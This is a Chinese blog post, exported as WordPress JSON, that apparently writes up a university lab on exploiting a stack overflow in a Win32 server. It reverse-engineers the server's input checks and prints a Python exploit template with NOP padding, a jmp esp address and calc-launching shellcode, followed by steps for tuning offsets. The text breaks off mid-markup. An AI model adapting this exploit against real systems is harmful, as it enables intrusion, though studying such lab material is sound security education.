{"id":686,"date":"2025-01-10T09:58:32","date_gmt":"2025-01-10T01:58:32","guid":{"rendered":"http:\/\/8.141.27.105\/?p=686"},"modified":"2025-01-16T10:48:16","modified_gmt":"2025-01-16T02:48:16","slug":"win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/","title":{"rendered":"win32\u6808\u6ea2\u51fa\u6f0f\u6d1e|\u67d0\u6821\u8f6f\u4ef6\u5b89\u5168\u5b9e\u9a8c4"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E6%A6%82%E8%BF%B0\" title=\"\u6982\u8ff0\">\u6982\u8ff0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E7%A8%8B%E5%BA%8F%E9%80%86%E5%90%91%E5%88%86%E6%9E%90\" title=\"\u7a0b\u5e8f\u9006\u5411\u5206\u6790\">\u7a0b\u5e8f\u9006\u5411\u5206\u6790<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#EXP%E6%A8%A1%E6%9D%BF%EF%BC%9A\" title=\"EXP\u6a21\u677f\uff1a\">EXP\u6a21\u677f\uff1a<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B\" title=\"\u5b9e\u9a8c\u8fc7\u7a0b\">\u5b9e\u9a8c\u8fc7\u7a0b<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E9%9C%80%E8%A6%81%E6%94%B9%E7%9A%84%E5%9C%B0%E6%96%B9\" title=\"\u9700\u8981\u6539\u7684\u5730\u65b9\">\u9700\u8981\u6539\u7684\u5730\u65b9<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E5%85%88%E4%BF%AE%E6%94%B93%EF%BC%88%E7%BC%93%E5%86%B2%E5%8C%BA%E9%95%BF%E5%BA%A6%EF%BC%89\" title=\"\u5148\u4fee\u65393\uff08\u7f13\u51b2\u533a\u957f\u5ea6\uff09\">\u5148\u4fee\u65393\uff08\u7f13\u51b2\u533a\u957f\u5ea6\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E6%8E%A5%E7%9D%80%E4%BF%AE%E6%94%B91%EF%BC%88datalen%EF%BC%89%EF%BC%9A\" title=\"\u63a5\u7740\u4fee\u65391\uff08datalen\uff09\uff1a\">\u63a5\u7740\u4fee\u65391\uff08datalen\uff09\uff1a<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E5%86%8D%E4%BF%AE%E6%94%B95%E3%80%81_6%EF%BC%88system%E3%80%81exit%EF%BC%89%EF%BC%9A\" title=\"\u518d\u4fee\u65395\u3001 6\uff08system\u3001exit\uff09\uff1a\">\u518d\u4fee\u65395\u3001 6\uff08system\u3001exit\uff09\uff1a<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E6%8E%A5%E7%9D%80%E4%BF%AE%E6%94%B94%EF%BC%88jmp_esp%EF%BC%89\" title=\"\u63a5\u7740\u4fee\u65394\uff08jmp esp\uff09\">\u63a5\u7740\u4fee\u65394\uff08jmp esp\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#%E6%9C%80%E5%90%8E%E4%BF%AE%E6%94%B92\" title=\"\u6700\u540e\u4fee\u65392\">\u6700\u540e\u4fee\u65392<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/10\/win32%e6%a0%88%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9e%e6%9f%90%e6%a0%a1%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c\/#getshell%E5%81%9A%E6%B3%95%EF%BC%9A\" title=\"getshell\u505a\u6cd5\uff1a\">getshell\u505a\u6cd5\uff1a<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%A6%82%E8%BF%B0\"><\/span>\u6982\u8ff0<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u7ed9\u5b9aserver\u7a0b\u5e8f\uff0c\u9700\u8981\u9006\u5411\u7834\u89e3server\u7684\u901a\u4fe1\u534f\u8bae\uff0c\u8f93\u5165\u6570\u636e\u6ee1\u8db3\u4e00\u5b9a\u6761\u4ef6\u540e\u624d\u53ef\u89e6\u53d1\u6808\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E7%A8%8B%E5%BA%8F%E9%80%86%E5%90%91%E5%88%86%E6%9E%90\"><\/span>\u7a0b\u5e8f\u9006\u5411\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u7a0b\u5e8f\u9996\u5148\u63a5\u6536\u524d\u56db\u4e2a\u5b57\u8282\uff0c\u5b58\u5165v34[-5126]\uff0c\u5373datalen\u5927\u5c0f\uff0cv34[-5126]\u8d4b\u503c\u7ed9v9\uff0cv9\u518d\u8d4b\u503c\u7ed9v10\uff0c\u5224\u65adv10-1\u662f\u5426\uff1e10234\uff0c\u662f\u5219\u7ec8\u6b62\u7a0b\u5e8f\uff0c\u6240\u4ee5datalen\u6709\u957f\u5ea6\u89c4\u5b9a\uff0c\u5982\u4e0b\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"554\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-687\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u63a5\u7740\u63a5\u6536\u6570\u636e\uff0c\u7ea2\u6846\u662f\u63a5\u6536datalen\u5927\u5c0f\u7684data\uff1b\u84dd\u6846\u8fdb\u884c\u4e86\u4e00\u4e2a\u5224\u65ad\uff0c\u5373datalen\u4e4b\u540e\u63a5\u4e0b\u6765\u4e09\u4e2a\u5b57\u8282\u662f\u5426\u662fEF DF 01,\u8fd9\u5c31\u662fmagicnumber\u9700\u8981\u6ee1\u8db3\u7684\u7b2c\u4e00\u4e2a\u6761\u4ef6\uff0c\u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"396\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-688\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u7136\u540e\u5224\u65ad\u5269\u4e0b\u6700\u9ad8\u5b57\u8282\uff0c\u662f1\u5c31\u8f93\u51faOK\uff01\uff0c\u662f2\u5c31\u8fdb\u884c\u4e00\u5806\u64cd\u4f5c\uff0c\u53ef\u4ee5\u4e0d\u7528\u7406\u4f1a\uff0c\u662f3\u5c31\u4f1a\u628adata\u7684\u90e8\u5206\u62ff\u6765\u5f02\u6216\uff0c\u5982\u679c\u6700\u540e\u5f02\u6216\u7684\u503c\u662f0x12345678\u80fd\u89e6\u53d1\u6f0f\u6d1e\u51fd\u6570\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"635\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-689\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"473\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-690\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"298\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-691\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6f0f\u6d1e\u51fd\u6570\u6709\u6808\u6ea2\u51fa\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-23.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"735\" height=\"209\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-23.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-715\"  sizes=\"auto, (max-width: 735px) 100vw, 735px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5Shellcode\u683c\u5f0f\u4e3a\uff1aDatalen+magicnumber+\u63a7\u5236\u6700\u7ec8\u5f02\u6216\u503c\u76844B+\u201c\\x90\u201d*n+shellcode<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EXP%E6%A8%A1%E6%9D%BF%EF%BC%9A\"><\/span>EXP\u6a21\u677f\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>import struct\nimport sys\nimport ctypes\n\nshellcode=\"\"\nshellcode+=\"\\x12\\x09\\x00\\x00\" # 4 bytes for length\nshellcode += (\n      \"\\xEF\\xDF\\x01\\x03\"    # MagicNumber \u4e0d\u7528\u6539\n) # \nshellcode+=\"\\x00\\x00\\x00\\x00\" #\u63a7\u5236\u6700\u540e\u5f02\u6216\u503c\u76844B\n\nshellcode += \"\\x90\"*(2276-len(shellcode)) # nops for stack length\nprint(len(shellcode))\nshellcode += \"\\x37\\x02\\x8B\\x76\" # jmp esp address\n\n\n\nshellcode += (\n       \"\\xEB\\x1C\\x5E\\x56\\x5D\\x33\\xC0\\x88\\x46\\x08\\x8D\\x1E\\x8B\\xDE\\x53\\xBB\"\n      \"\\xF0\\x49\\x56\\x76\" # system address\n       \"\\xFF\\xD3\\x50\\xBB\"\n        \"\\xF0\\x7D\\x58\\x76\"  # exit address \n\"\\xFF\\xD0\\xE8\\xDF\\xFF\\xFF\\xFF\\x63\\x61\\x6C\\x63\\x2E\\x65\\x78\\x65\\x64\\x64\\x64\"\n )\nprint(len(shellcode))\n\n\n\nshellcode=shellcode.encode('latin-1')\n\nshellcode = bytearray(shellcode)\n# Save the binary code to file\nwith open('dum1.txt', 'wb') as f:\n  f.write(shellcode)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B\"><\/span>\u5b9e\u9a8c\u8fc7\u7a0b<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E9%9C%80%E8%A6%81%E6%94%B9%E7%9A%84%E5%9C%B0%E6%96%B9\"><\/span>\u9700\u8981\u6539\u7684\u5730\u65b9<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u4e00\u5171\u516d\u5904<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-6-1024x805.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"805\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-6-1024x805.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-693\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6ce8\u610f\uff1a\u4fee\u6539\u7684\u6b65\u9aa4\u4e00\u5b9a\u8981\u6309\u7167\u4e0b\u9762\u7684\u987a\u5e8f\u6765<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%85%88%E4%BF%AE%E6%94%B93%EF%BC%88%E7%BC%93%E5%86%B2%E5%8C%BA%E9%95%BF%E5%BA%A6%EF%BC%89\"><\/span>\u5148\u4fee\u65393\uff08\u7f13\u51b2\u533a\u957f\u5ea6\uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u6307\u5bfc\u624b\u518c\u4e2d\u8ba9\u4e8c\u5206\u6cd5\u627e\uff0c\u5176\u5b9e\u6ca1\u5fc5\u8981\uff0c\u76f4\u63a5\u5728IDA32\u4e2d\u6253\u5f00\u81ea\u5df1\u7684server\u6587\u4ef6\uff0c\u627e\u5230\u6f0f\u6d1e\u51fd\u6570sub_4015B0\uff0c\u67e5\u770b\u7f13\u51b2\u533a\u5927\u5c0f\uff0c\u6bcf\u4e2a\u4eba\u4e0d\u4e00\u6837\uff0c\u8fd9\u4e2a\u503c\u52a0\u4e0a4\u5c31\u662f3\u5904\u5e94\u8be5\u586b\u7684\u5927\u5c0f\uff08+4\u662f\u56e0\u4e3a\u8981\u8986\u76d6ebp\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"228\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-694\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%8E%A5%E7%9D%80%E4%BF%AE%E6%94%B91%EF%BC%88datalen%EF%BC%89%EF%BC%9A\"><\/span>\u63a5\u7740\u4fee\u65391\uff08datalen\uff09\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u8dd1\u4e00\u4e0b\u521a\u521a\u6539\u597d\u7684shellcode\u7684python\u811a\u672c\uff0c\u4e0b\u9762\u8fd9\u4e2a\u503c-4\u5c31\u662f1\u5904\u5e94\u8be5\u586b\u7684\u503c\uff08\u8bb0\u5f97\u8f6c16\u8fdb\u5236\uff0c\u5c0f\u7aef\u5e8f\uff09\u51cf4\u7684\u539f\u56e0\u662fdatalen\u672c\u8eab\u5c31\u4f1a\u53604B.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"436\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-696\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"829\" height=\"297\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/image-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-697\"  sizes=\"auto, (max-width: 829px) 100vw, 829px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div 